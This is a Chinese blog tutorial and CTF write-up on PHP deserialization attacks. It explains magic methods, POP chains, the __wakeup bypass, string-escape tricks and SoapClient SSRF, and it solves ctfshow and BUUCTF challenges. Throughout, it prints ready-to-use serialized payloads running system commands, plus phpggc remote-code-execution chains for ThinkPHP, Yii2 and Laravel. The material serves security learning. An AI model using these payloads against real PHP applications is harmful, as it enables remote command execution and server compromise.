PHP反序列化

PHP反序列化

什么是反序列化操作?

类型转换
- PHP & JavaEE & Python(见图)
序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象
serialize()     //将对象转换成一个字符串
unserialize()   //将字符串还原成一个对象

在这里插入图片描述

在这里插入图片描述

常见PHP魔术方法

- 对象逻辑(见图)
__construct(): //当对象new的时候会自动调用
__destruct()://当对象被销毁时会被自动调用
__sleep(): //serialize()执行时被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用
__toString(): //把类当作字符串使用时触发
__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。
__callStatic(): //在静态上下文中调用不可访问的方法时触发
__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数
__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

在这里插入图片描述

为什么会出现安全漏洞?

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
<?php
class B{public $cmd='ipconfig';public function __destruct(){system($this->cmd);}
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);

反序列化漏洞如何利用?- POP链构造

POP:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,序列化攻击都在PHP魔术方法中出现可利用的漏洞,因自动调用触发漏洞,但如关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
反序列化常见起点
方法名调用条件
__wakeup一定会调用
__destruct一定会调用
__toString当一个对象被反序列化后又被当作字符串使用
反序列化常见跳板
方法名调用条件
__toString当一个对象被反序列化后又被当作字符串使用
__get读取不可访问或不存在属性时被调用
__set当给不可访问或不存在属性赋值时被调用
__isset对不可访问或不存在的属性调用isset()或empty()时被调用
反序列化常见终点
方法名调用条件
__call调用不可访问或不存在的方法时被调用
call_user_func一般php代码执行都会选择这里
call_user_func_array一般php代码执行都会选择这里

案例

__destruct()

__destruct()://当对象被销毁时会被自动调用

在这里插入图片描述

构造pop链

在这里插入图片描述

执行ipconfig

O:1:"B":1:{s:3:"cmd";s:8:"ipconfig";}

在这里插入图片描述

执行whoami

O:1:"B":1:{s:3:"cmd";s:6:"whoami";}

在这里插入图片描述

ctfshow-254

只要isVIp为真就输出flag,就是username=xxxxxx,password=xxxxxx就为真

在这里插入图片描述

username=xxxxxx&password=xxxxxx

在这里插入图片描述

ctfshow-255

isVip需要为true,才会输出flag,与上题相比来说没有让isVip为真的条件,但是多了一个unserialize反序列化

在这里插入图片描述

构造pop链

复制代码,删除不需要更改的代码,因为需要以cookie传参user,序列化后的代码有符号这些,使用url编码

在这里插入图片描述

username=xxxxxx&password=xxxxxx
cookie:user O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

在这里插入图片描述

ctfshow-256

username和password值不相等才能得到flag

在这里插入图片描述

构造pop链

因为需要修改username和password,构造时添加上去,需要改什么就留什么。

在这里插入图片描述

username=xxx&password=xx
cookie:user O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22xxx%22%3Bs%3A8%3A%22password%22%3Bs%3A2%3A%22xx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

在这里插入图片描述

ctfshow-257

在这里插入图片描述

构造pop链

backDoor类下有一个eval,但是并没有调用它,构造一个调用backdoor的序列化链

在这里插入图片描述

username=xxxxxx&password=xxxxxx
cookie:user
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

在这里插入图片描述

ctfshow-258

'/[oc]:\d+:/i’含义是:匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写

在这里插入图片描述

替换绕过

将:替换成+

在这里插入图片描述

username=xxxxxx&password=xxxxxx
cookie:user O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

在这里插入图片描述

PHP-属性类型-公有&私有&保护

对象变量属性
  • public(公共的):在本类内部、外部类、子类都可以访问
  • protect(受保护的):只有本类或子类或父类中可以访问
  • private(私人的):只有本类内部可以使用
序列化数据显示
  • public属性序列化的时候格式是正常成员名
  • private属性序列化的时候格式是%00类名%00成员名
  • protect属性序列化的时候格式是%00*%00成员名

PHP-绕过漏洞-CVE

1、CVE-2016-7124(__wakeup绕过)
漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行

wakeup绕过案例

正常构造pop链wakeup被调用

x=O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}

在这里插入图片描述

在这里插入图片描述

当对象属性个数的值大于真实属性个数时会跳过__wakeup执行,修改个数3为4后,wakeup未被调用

x=O:4:"Test":4:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}

在这里插入图片描述

[极客大挑战 2019]PHP

在这里插入图片描述

访问www.zip下载源代码

在这里插入图片描述

打开备份文件class.php,只需要绕过wakeup魔术方法就行了

__destruct()://当对象被销毁时会被自动调用

在这里插入图片描述

使用select传参

在这里插入图片描述

构造pop链

生成的序列化参数,将:2替换成:3,使其绕过wakeup函数,生成的序列化需要用php的urlencode函数进行url编码,我使用hackbar中的url编码,有差异。

在这里插入图片描述

拿下flag

select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

在这里插入图片描述

字符串逃逸

字符串逃逸–增加

isVIP必须为1才输出flag,把admin替换成hacker,因为没有设置验证用户为admin,假设用户必须为admin

在这里插入图片描述

输入admin,被替换成了hacker。

在这里插入图片描述

序列化位数增加,反序列无法被识别

x=O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

在这里插入图片描述

需要逃逸的数据,47位。

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

在这里插入图片描述

admin被替换成hacker,会比原来数据多一位,,如果生成47个admin,那么就会比原来的多47位出来,47位是admin后面的数据位数,刚好占位到47,后面原来的数据就会逃逸

pop链

在这里插入图片描述

成功逃逸

x=O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

在这里插入图片描述

字符串逃逸–减少

isVIP必须为1才输出flag,把admin替换成hack,因为没有设置验证用户为admin,假设用户必须为admin

在这里插入图片描述

输入admin,被替换成了hack

在这里插入图片描述

序列化位数减少,反序列无法被识别

x=O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

在这里插入图片描述

admin被替换成hack,会比原来数据少一位,";s:8:"password";s:6:"22位是不可控的数据,因为每次替换少一位,那么少22位的话刚好将不可控数据反序列化,再将可控的password值改成需要逃逸的字符就会成功反序列化

在这里插入图片描述

$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
$p=';s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';

在这里插入图片描述

反序列的时候就会以先解析O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password 后解析";s:46:";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:1;}后解析的就是逃逸的字符

x=O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:46:";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:1;}

在这里插入图片描述

ctfshow-262

在这里插入图片描述

message.php

在这里插入图片描述

常规解法

构造pop链

在这里插入图片描述

Cookie:msg Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

在这里插入图片描述

字符逃逸

因为是fuck替换位loveU,增加了一位

在这里插入图片描述

O:7:"message":4:{s:4:"from";s:3:"123";s:3:"msg";s:3:"123";s:2:"to";s:4:"fuck";s:5:"token";s:5:"admin";}中需要逃逸的是";s:5:"token";s:5:"admin";}一共27位,生成27个fuck。

在这里插入图片描述

O:7:"message":4:{s:4:"from";s:3:"123";s:3:"msg";s:3:"123";s:2:"to";s:108:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

在这里插入图片描述

base64编码

在这里插入图片描述

添加到cookie拿到flag

在这里插入图片描述

fuck被替换成loveU,会比原来数据多一位,,如果生成27个fuck,那么就会比原来的多27位出来,27位是fuck后面的数据位数,刚好占位到27,后面原来的数据就会逃逸

还原反序列化过程

在这里插入图片描述

先解析s:236:"O:7:"message":4:{s:4:"from";s:3:"123";s:3:"msg";s:3:"123";s:2:"to";s:108:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUlov后解析eUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}相当于sql注入的闭合符号

原生类
原生类应用场景:

没有看到魔术方法利用情况下使用

1.先看能触发的魔术方法

2.没写魔术方法调用逻辑代码

3.使用魔术方法的原生类利用

4.获取魔术方法的原生类(脚本生成,能开启多少和当前的环境模块开关有关)

5.利用魔术方法里面的内置的类 pop修改内置类 形成攻击

案例

没有魔术方法,echo会触发to_string的魔术方法

在这里插入图片描述

使用脚本获取魔术方法的原生类

在这里插入图片描述

Exception::__toString,数据异常就会转换为字符串

在这里插入图片描述

构造pop链,新建异常类,借助异常使其显示""

在这里插入图片描述

弹出123

在这里插入图片描述

cftshow-259

在这里插入图片描述

在这里插入图片描述

访问flag.php

在这里插入图片描述

getFlag在代码中是不存在的,调用不存在的,则会使用call魔术方法

__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。

使用插件获取call的原生类

在这里插入图片描述

SoapClient::__call有ssrf漏洞

<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>

在这里插入图片描述

执行构成的序列化语句,访问成功后会生成flag.txt

vip=O%3A10%3A"SoapClient"%3A5%3A%7Bs%3A3%3A"uri"%3Bs%3A17%3A"http%3A%2F%2F127.0.0.1%2F"%3Bs%3A8%3A"location"%3Bs%3A25%3A"http%3A%2F%2F127.0.0.1%2Fflag.php"%3Bs%3A15%3A"_stream_context"%3Bi%3A0%3Bs%3A11%3A"_user_agent"%3Bs%3A124%3A"aaa%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow"%3Bs%3A13%3A"_soap_version"%3Bi%3A1%3B%7D

在这里插入图片描述

在这里插入图片描述

框架类
反序列化链项目-PHPGGC&NotSoSecure
NotSoSecure

项目地址

为了利用反序列化漏洞,需要设置不同的工具,如 YSoSerial(Java)、YSoSerial.NET、PHPGGC 和它的先决条件。DeserializationHelper 是包含对 YSoSerial(Java)、YSoSerial.Net、PHPGGC 和其他工具的支持的Web界面。使用Web界面,您可以为各种框架生成反序列化payload.
Java – YSoSerial
NET – YSoSerial.NET
PHP – PHPGGC
Python - 原生
PHPGGC

项目地址

PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是frohoff的ysoserial的等价物,但是对于PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等。

kali可以直接使用apt安装

[安洵杯 2019]iamthinking

在这里插入图片描述

访问public

在这里插入图片描述

thinkPHP6.0

访问www.zip下载源码

从readme文件中可以看到采用thinkPHP6.0框架开发

在这里插入图片描述

使用phpggc

获取gadget链列表

 phpggc -l

在这里插入图片描述

找到thinkphp小工具链

 phpggc -l thinkphp

在这里插入图片描述

使用thinkphp/RCE3,下面有构造payload方法

phpggc -i ThinkPHP/RCE3

在这里插入图片描述

执行cat /flag 并以url编码

phpggc  ThinkPHP/RCE3  system 'cat /flag' --url

在这里插入图片描述

直接执行有过滤行为

/public/?payload=O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D

在这里插入图片描述

在index.php可以看到过滤以O开头区分大小写

在这里插入图片描述

三斜杠绕过,但是不明白其中的道理,希望懂的佬,帮我解释一下为何y绕过

///public/?payload=O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D

在这里插入图片描述

ctfshow-267

admin ,admin弱口令登录

在这里插入图片描述

登录之后这个页面有变化

在这里插入图片描述

查看页面源代码,发现有个p标签有这个

在这里插入图片描述

进行各种拼接就得到了一个这个页面,这就是反序列化入口

在这里插入图片描述

Yii

可以通过wappalyzer看到有Yii框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。CVE编号是CVE-2020-15148。

在这里插入图片描述

在源代码中也可以看到yii2.0版本的

在这里插入图片描述

phpggc

找到yii小工具链

phpggc -l yii

在这里插入图片描述

根据版本选择合适的链

phpggc Yii2/RCE1

在这里插入图片描述

执行cat /flag 并以base64编码

phpggc Yii2/RCE1 system 'cat /flag' --base64

在这里插入图片描述

执行没有反应

/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXGRiXENvbm5lY3Rpb24iOjI6e3M6MzoicGRvIjtpOjE7czozOiJkc24iO086MjY6InlpaVxkYlxDb2x1bW5TY2hlbWFCdWlsZGVyIjoyOntzOjc6IgAqAHR5cGUiO3M6MToieCI7czoxMToiY2F0ZWdvcnlNYXAiO086MjI6InlpaVxjYWNoaW5nXEFycmF5Q2FjaGUiOjI6e3M6MTA6InNlcmlhbGl6ZXIiO2E6MTp7aToxO3M6Njoic3lzdGVtIjt9czozMDoiAHlpaVxjYWNoaW5nXEFycmF5Q2FjaGUAX2NhY2hlIjthOjE6e3M6MToieCI7YToyOntpOjA7czo5OiJjYXQgL2ZsYWciO2k6MTtpOjA7fX19fX19

在这里插入图片描述

猜测不能使用system,使用exec并将flag复制到123.txt

phpggc Yii2/RCE1 exec 'cp /flag* 123.txt' --base64

在这里插入图片描述

执行有报错

/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXGRiXENvbm5lY3Rpb24iOjI6e3M6MzoicGRvIjtpOjE7czozOiJkc24iO086MjY6InlpaVxkYlxDb2x1bW5TY2hlbWFCdWlsZGVyIjoyOntzOjc6IgAqAHR5cGUiO3M6MToieCI7czoxMToiY2F0ZWdvcnlNYXAiO086MjI6InlpaVxjYWNoaW5nXEFycmF5Q2FjaGUiOjI6e3M6MTA6InNlcmlhbGl6ZXIiO2E6MTp7aToxO3M6NDoiZXhlYyI7fXM6MzA6IgB5aWlcY2FjaGluZ1xBcnJheUNhY2hlAF9jYWNoZSI7YToxOntzOjE6IngiO2E6Mjp7aTowO3M6MTc6ImNwIC9mbGFnKiAxMjMudHh0IjtpOjE7aTowO319fX19fQ==

在这里插入图片描述

查看123.txt,拿到flag

在这里插入图片描述

ctfshow-271
Laravel

题目中提示了Laravel但是不知道版本,用unserialize接受数据data

在这里插入图片描述

使用phpggc

找到Laravel小工具链

在这里插入图片描述

由于不知道版本,我这边选择一个版本区间多的尝试

phpggc Laravel/RCE4

在这里插入图片描述

生成执行命令url编码的链

phpggc Laravel/RCE4 system "tac /flag*" --url

在这里插入图片描述

执行pop链,拿下flag

data=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A31%3A%22Illuminate%5CValidation%5CValidator%22%3A1%3A%7Bs%3A10%3A%22extensions%22%3Ba%3A1%3A%7Bs%3A0%3A%22%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3Bs%3A10%3A%22tac+%2Fflag%2A%22%3B%7D

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/29945.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

配置小程序

小程序配置 1.全局配置 小程序根目录下的 app.json 文件用来对微信小程序进行全局配置&#xff0c;决定页面文件的路径、窗口表现、设置网络超时时间、设置多 tab 等。 完整配置项说明请参考小程序全局配置 以下是一个包含了部分常用配置选项的 app.json &#xff1a; {&q…

NVIDIA-最适合工作的公司第三位

NVIDIA 在《财富》杂志和卓越职场&#xff08;Great Place to Work&#xff09;最新评选出的“100 家最适合工作的公司”榜单上跃居第三位。 这是 NVIDIA 连续第八年上榜&#xff0c;也是在这个广受关注的榜单上排名最高的一次。该榜单有超过一千多家企业参与评选。去年 NVIDIA…

解决Linux下Java应用因内存不足而崩溃的问题

在Linux系统中运行内存密集型的Java应用时&#xff0c;经常会遇到因系统内存不足而导致应用崩溃的问题。本文将探讨如何诊断这类问题以及提供有效的解决方案。 问题诊断 首先&#xff0c;使用 free -h 命令查看系统的内存使用情况&#xff0c;得到以下输出&#xff1a; total…

聚观早报 | 小米15配置规格曝光;比亚迪车险开售

聚观早报每日整理最值得关注的行业重点事件&#xff0c;帮助大家及时了解最新行业动态&#xff0c;每日读报&#xff0c;就读聚观365资讯简报。 整理丨Cutie 6月19日消息 小米15配置规格曝光 比亚迪车险开售 真我GT6细节曝光 极星汽车加速全球扩张 Model 3高性能版开启交…

windows anaconda 安装 Labelme

安装 # 创建环境 conda create -n labelme python3.6 #激活环境 conda activate labelme # 安装依赖 conda install pyqt conda install pillow # 安装labelme conda install labelme3.16.2 # 启动labelme labelme右键选择标注类型&#xff0c;从上到下为多边形&#xff08;常…

node-gyp在windows安装出错解决方案

错误1&#xff1a; error Error: getaddrinfo ENOTFOUND registry.nlark.com at GetAddrInfoReqWrap. 解决1&#xff1a; 修改yarn.lock文件里registry.nlark.com 改为 registry.npmmirror.com 错误2&#xff1a; gyp verb check python checking for Python executable &…

windows 程序右键管理员点击无响应

Windows 程序在右键单击以管理员身份运行时没有响应&#xff0c;可能是由于多种原因引起的。下面是一些常见的问题和解决方案&#xff1a; 1. 用户账户控制 (UAC) 设置问题&#xff1a; - 试着降低或提高 UAC 设置&#xff0c;然后再试一次。可以在控制面板的“用户账户”部…

计算机的五大功能部件应用及特点

目录 计算机的五大功能部件 1.现代计算机的结构 2.主存储器 ​​​​​​​ 3.运算器 4.控制器 5.各部件的特点 5.1主存特点 5.2外存特点 5.3运算器特点 5.4控制器特点 计算机的五大功能部件 1.现代计算机的结构 一般将运算器和控制器集成到同一个芯片上&#xff…

微前端乾坤方案

微前端乾坤方案 了解乾坤 官方文档 介绍 qiankun 是一个基于 single-spa 的微前端实现库&#xff0c;旨在帮助大家能更简单、无痛的构建一个生产可用微前端架构系统。 qiankun 的核心设计理念 &#x1f944; 简单 由于主应用微应用都能做到技术栈无关&#xff0c;qiankun 对…

CCS条形光源——HLDL3系列,长距离和宽范围照射应用的不二之选

机器视觉系统中&#xff0c;光源起着重要作用&#xff0c;不同类型的光源应用也不同&#xff0c;选择合适的光源成像效果非常明显。今天我们一起来看看CCS光源——工业用条形光源HLDL3系列。 高亮LED光源HLDL3系列 适用于长距离和宽范围照射的条形光源。 适用于各种检测案例&a…

LabVIEW如何进行电磁兼容性测试

电磁兼容性&#xff08;EMC&#xff09;测试是确保电子设备在其工作环境中能够正常运行且不会对其他设备产生有害干扰的关键步骤。LabVIEW作为一种强大的系统设计和开发工具&#xff0c;可以有效地用于电磁兼容性测试。以下是如何使用LabVIEW进行电磁兼容性测试的详细步骤和方法…

AlmaLinux 更换CN镜像地址

官方镜像列表 官方列表&#xff1a;https://mirrors.almalinux.org/CN 开头的站点&#xff0c;不同区域查询即可 一键更改镜像地址脚本 以下是更改从默认更改到阿里云地址 cat <<EOF>>/AlmaLinux_Update_repo.sh #!/bin/bash # -*- coding: utf-8 -*- # Author:…

HTML5 服务器发送事件(Server-Sent Events, SSE):实时数据传输的新篇章

在实时Web应用领域&#xff0c;HTML5 引入的 Server-Sent Events (SSE) 技术提供了一种轻量级的通信机制&#xff0c;使得服务器能够主动向客户端推送数据。与WebSocket相比&#xff0c;SSE更加简单易用&#xff0c;特别适合于单向通知、实时更新等场景。本文将深入探讨SSE的工…

Python8 使用结巴(jieba)分词并展示词云

Python的结巴&#xff08;jieba&#xff09;库是一个中文分词工具&#xff0c;主要用于对中文文本进行分词处理。它可以将输入的中文文本切分成一个个独立的词语&#xff0c;为后续的文本处理、分析、挖掘等任务提供基础支持。结巴库具有以下功能和特点&#xff1a; 中文分词&a…

大文件上传实现

分片上传 将大文件分割成多个小片&#xff08;chunk&#xff09;&#xff0c;逐个上传。每个片上传成功后&#xff0c;服务器可以返回确认信息。所有片上传完成后&#xff0c;服务器端将这些片重新组合成原始文件。 以下是一个简单的分片上传的前端实现示例&#xff1a; func…

C#——文件读取StreamRead和StreamWriter类详情

文件读取StreamRead和StreamWriter类 StreamReader 用于从字节流中读取字符StreamWriter 用于向一个流中写入字符 使用 读取 // using 使用&#xff0c;语句可以省去关闭StreamReader读写流 using (StreamReader sr new StreamReader("1.txt", Encoding.UTF8)) …

LVGL开发教程-Label文本

系列文章目录 知不足而奋进 望远山而前行 目录 系列文章目录 文章目录 前言 ​编辑 1. 文本显示 2. 使用字体 总结 前言 在嵌入式系统开发中&#xff0c;文本显示是一项基本而重要的功能。使用 LittlevGL&#xff08;LVGL&#xff09;库&#xff0c;我们可以轻松地创建…

程序人生 - iPhone 关机后,华为手表非凡大师居然还可以正常微信支付?

昨天&#xff0c;地铁上手机没电了&#xff0c;当时还担心出闸门和买晚饭的问题&#xff0c;虽然手表已经开通了 NFC 微信支付&#xff0c;但是我一开始的理解需要手机保持蓝牙开启的前提下才能正常使用&#xff0c;毕竟有时候手机离开手表&#xff0c;手表就会提示断线了。 但…

bms SRP引脚什么意思

SRP引脚通常是指电池管理系统&#xff08;BMS&#xff09;或相关电子设备中的一个专用引脚&#xff0c;它代表“Sense Resistor Positive”&#xff08;正采样电阻&#xff09;&#xff0c;用于电流检测和电流感测功能。在电池充放电过程中&#xff0c;通过监测连接到SRP引脚的…

Linux应急响应:清理系统日志后的日志恢复与分析

在系统安全事件的响应中&#xff0c;攻击者清理日志的行为给追踪和分析带来了巨大挑战。本文将介绍在日志被清理后&#xff0c;如何利用Linux的systemd-journald服务进行日志恢复与分析&#xff0c;以及如何通过GScan工具进行自动化后门排查。 系统日志的重要性 系统日志是安…